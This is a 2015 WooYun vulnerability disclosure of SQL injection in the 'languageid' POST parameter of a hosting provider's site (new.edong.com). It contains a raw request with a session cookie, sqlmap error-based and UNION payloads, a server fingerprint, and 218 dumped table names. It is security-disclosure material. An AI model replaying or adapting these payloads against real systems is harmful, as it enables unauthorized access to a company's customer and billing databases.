当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138751

漏洞标题:E动网某站存在SQL注入(支持UNION)

相关厂商:中国E动网

漏洞作者: miracle

提交时间:2015-09-03 08:56

修复时间:2015-09-08 08:58

公开时间:2015-09-08 08:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-03: 细节已通知厂商并且等待厂商处理中
2015-09-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

POST /Host/confirm.aspx HTTP/1.1
Content-Length: 201
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://new.edong.com:80/
Cookie: ASP.NET_SessionId=rf5ns3hlt43wmqwzsyd5tdxu; temp_user=sessionkey=temp_VacvlX3sMonakVQc
Host: new.edong.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
buytype=1&dbspace=0&dbspaceproductid=0&languageid=1&lineid=1&period=0&periodtype=0&price=0&productid=0&quota=0&quotaproductid=0&traffic=0&trafficproductid=0&typeid=2

漏洞证明:

1.png

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: languageid (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: buytype=1&dbspace=0&dbspaceproductid=0&languageid=1 AND 6821=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(98)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (6821=6821) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(112)+CHAR(113)))&lineid=1&period=0&periodtype=0&price=0&productid=0&quota=0&quotaproductid=0&traffic=0&trafficproductid=0&typeid=2
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: buytype=1&dbspace=0&dbspaceproductid=0&languageid=1 UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(98)+CHAR(107)+CHAR(113)+CHAR(74)+CHAR(120)+CHAR(107)+CHAR(72)+CHAR(101)+CHAR(115)+CHAR(80)+CHAR(122)+CHAR(78)+CHAR(81)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(112)+CHAR(113),NULL,NULL,NULL-- &lineid=1&period=0&periodtype=0&price=0&productid=0&quota=0&quotaproductid=0&traffic=0&trafficproductid=0&typeid=2
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
Database: biz
[218 tables]
+----------------------------------------+
| AccountDPIList |
| Account_Account_Level_View |
| Account_info |
| Answer_View |
| Biz_Account_Agent |
| Biz_Account_Agent |
| Biz_Account_financial |
| Biz_Invoice |
| Biz_InvoiceTemplate |
| Biz_Mail_Type |
| Biz_Server_Type_Para |
| Biz_ShoppingCart_Para |
| Biz_ShoppingCart_Para |
| Biz_Vhost_Web_ISAPI |
| Biz_Vhost_Web_ISAPI |
| Biz_Vhost_Web_Mime |
| Contact_Default |
| ControlTobizOrderpara |
| DomainTempleteList |
| Domain_Out_Contacts |
| DomainsChangeAccount_View |
| Domains_Para_View |
| Domains_Redemption_View |
| Domains_Register_View |
| Domains_Trans_In_View |
| Domains_Trans_Out_View |
| GetDomainsDNS |
| GetDomains_productClass |
| GetProductClassName |
| Group_Group_Sub_SeverInfo_View |
| HelpModuleAndInfo_View |
| HostChangeAccount_View |
| HostList_View |
| Host_Ftp_Domains_View |
| Host_Open_Account_Level_View |
| Host_Open_View |
| Industry_select_Control |
| InvoiceAccountList_View2 |
| MailProduct_View |
| OnlinePaymentList_View |
| OrderDetailInfo |
| OrderList |
| OrderOperation_View |
| Print_Order |
| ProductPrice_Account_Level_View |
| Product_ProductClass_View |
| Product_SalesScope_Account_Level_View |
| QuestionForBusiness_View |
| Question_View |
| ServerInfo_Server_Para_View |
| Sys_IpRange |
| Task_Host_UpZip_Log_View |
| Template |
| VirtualHostList_View |
| VirtualHost_Product_Hsot_Relation_View |
| bizProductClass |
| bizProduct_SalesScope |
| bizProduct_Spec |
| biz_AccountLevel_Relation |
| biz_Account_ConsumerRecords |
| biz_Account_DPI |
| biz_Account_Email |
| biz_Account_Login |
| biz_Account_MailInform |
| biz_Account_MailInform |
| biz_Account_Message |
| biz_Account_NewsNotice |
| biz_Account_SMS |
| biz_Account_invoice |
| biz_Account_level |
| biz_Account_supplement |
| biz_Answer |
| biz_BackGround |
| biz_Billing_Template |
| biz_BreakDown |
| biz_DNS_Line |
| biz_DNS_Line |
| biz_DNS_Log |
| biz_DNS_Sub |
| biz_DepartMent |
| biz_Domain_Out_Contacts |
| biz_DomainsParas |
| biz_Domains_DNS |
| biz_Group_Sub |
| biz_Group_Sub |
| biz_Hardware |
| biz_Host_Language |
| biz_Host_LineType |
| biz_Host_Open_Maintain |
| biz_Host_Open_Maintain |
| biz_Host_Open_Para |
| biz_Host_Type |
| biz_IDCIP |
| biz_IDCServer |
| biz_IDCServerSpec |
| biz_IDCService_Operation |
| biz_IDCVLAN |
| biz_IDC_Cabinet |
| biz_IDC_PortAndBroad |
| biz_IDC_Relation_CabinetToPort |
| biz_IDC_Relation_PortToVLan |
| biz_Line_Type |
| biz_Mail_Product |
| biz_OnlinePayment |
| biz_Product_Host_Type |
| biz_Product_Host_Type |
| biz_Product_Hsot_Relation |
| biz_Product_Promo |
| biz_ProoductToMemberLevel |
| biz_QuestionForBusiness |
| biz_QuestionForBusiness |
| biz_QuestionForProduct |
| biz_QuestionLog |
| biz_RelationQuestionToDepart |
| biz_RelationVHostToIP |
| biz_Relation_HostToDomain |
| biz_Relation_Order_Sales |
| biz_Server_Connection |
| biz_Server_IP |
| biz_Server_Info |
| biz_Server_Para |
| biz_Task_Host_UpZip_Log |
| biz_Task_Host_UpZip_Log |
| biz_Task_Host_UpZip_Log |
| biz_VHostToService |
| biz_VHost_FTP |
| biz_Vhost_DB |
| biz_Vhost_Mail_Detail |
| biz_Vhost_Mail_Detail |
| biz_Vhost_Web_Para |
| biz_VirtualHost |
| biz_domain_log |
| biz_domains_Redemption |
| biz_domains_change_account |
| biz_domains_change_account |
| biz_domains_change_param |
| biz_domains_change_register |
| biz_domains_para |
| biz_domains_register |
| biz_domains_trans_in |
| biz_domains_trans_out |
| biz_host_change_account |
| biz_idcrooms |
| biz_job_description |
| biz_order_operation |
| biz_order_operation |
| biz_order_para |
| biz_order_sub |
| biz_productPrice_change |
| biz_productPrice_change |
| biz_product_interface |
| biz_product_tactics_open |
| biz_product_tactics_open |
| biz_productpackages_detail |
| biz_productpackages_detail |
| biz_productprice_off |
| biz_transcation_para |
| biz_transcation_para |
| biz_work_order |
| domain_para_sub |
| domain_register_info |
| financialControl_ClassName |
| financialControl_ClassName |
| help_Info |
| help_MainMenu |
| help_ModuleAndInfo |
| help_ModuleAndInfo |
| help_SecondaryMenu |
| help_ThreeMenu |
| help_View |
| job_select_Control |
| log_InOut |
| log_operatiom |
| log_sys |
| newsinfo |
| questionLog_view |
| relation_ordertoInvoice |
| rolefun |
| roles |
| s_Account |
| s_AccountToRole |
| s_Buttons |
| s_Menus |
| s_Permission |
| s_Role |
| select_Control |
| sys_Account_mantainance |
| sys_Account_mantainance |
| sys_Area_1 |
| sys_Area_1 |
| sys_Button |
| sys_City |
| sys_Country |
| sys_Favorite |
| sys_IP_Property |
| sys_Menus |
| sys_Privilege |
| sys_Province |
| sys_control |
| sys_dept |
| sys_domain_interface |
| sys_duty |
| sys_info_from |
| sys_interface_domain |
| sys_para |
| sys_purview |
| sys_role |
| sys_roletopurview |
| sys_supplement_interface |
| sys_tactics_price |
| sys_tatics_open |
| sys_user |
| sys_userrole |
| sysdiagrams |
| t_log_dns |
| userfun |
| userinfo |
| v_user |
+----------------------------------------+

修复方案:

版权声明:转载请注明来源 miracle@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-08 08:58

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论